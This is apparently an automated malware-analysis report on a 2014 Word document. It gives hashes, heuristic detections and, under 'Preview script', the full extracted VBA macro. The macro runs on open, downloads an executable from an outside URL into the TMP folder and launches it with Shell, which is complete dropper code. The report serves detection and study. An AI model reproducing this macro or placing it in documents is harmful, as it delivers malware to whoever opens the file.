Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a62ae06cb5d612d3…

MALICIOUS

Office (OLE)

40.0 KB Created: 2014-05-03 15:38:00 Authoring application: Microsoft Office Word First seen: 2014-05-13
MD5: 710b616d3c4c50a23e12ae1096b75240 SHA-1: b26908253d59bf1ad902adfa0f546535975cf315 SHA-256: a62ae06cb5d612d3d53867c5495e9eefb4b0dd5fb59b89eecdf7333ef6bdb923
274 Risk Score

Heuristics 11

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        CVRWVW = Shell(MTZCOP, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TGPVHF = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        DCLGVA "http://updo.nl/file/5b30525e.exe", Environ("TMP") & "\SSBIOQ.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://updo.nl/file/5b30525e.exe� In document text (OLE body)
    • http://updo.nl/file/5b30525e.exeIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1135 bytes
SHA-256: 13e34af9ce13e46723e640bbe3bf7bb4bcc70a87e610da2477dadd05ef46a31d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub MURHQR()
    DCLGVA "http://updo.nl/file/5b30525e.exe", Environ("TMP") & "\SSBIOQ.exe"
End Sub
Function DCLGVA(ByVal IHJRCU As String, ByVal MTZCOP As String) As Boolean
     Dim TGPVHF As Object, BGRMVT As Long, IKBZUF As Long, YHZUPK() As Byte

    Set TGPVHF = CreateObject("MSXML2.XMLHTTP")
    TGPVHF.Open "GET", IHJRCU, False
    TGPVHF.Send "send request"

    Do While TGPVHF.readyState <> 4
    DoEvents
    Loop

    YHZUPK = TGPVHF.responseBody

    IKBZUF = FreeFile
    If Dir(MTZCOP) <> "" Then Kill MTZCOP
    Open MTZCOP For Binary As #IKBZUF
    Put #IKBZUF, , YHZUPK
    Close #IKBZUF
    
    Dim CVRWVW
    CVRWVW = Shell(MTZCOP, 1)

    Set TGPVHF = Nothing
     
End Function
Sub Auto_Open()
MURHQR
End Sub
Sub AutoOpen()
    Auto_Open
End Sub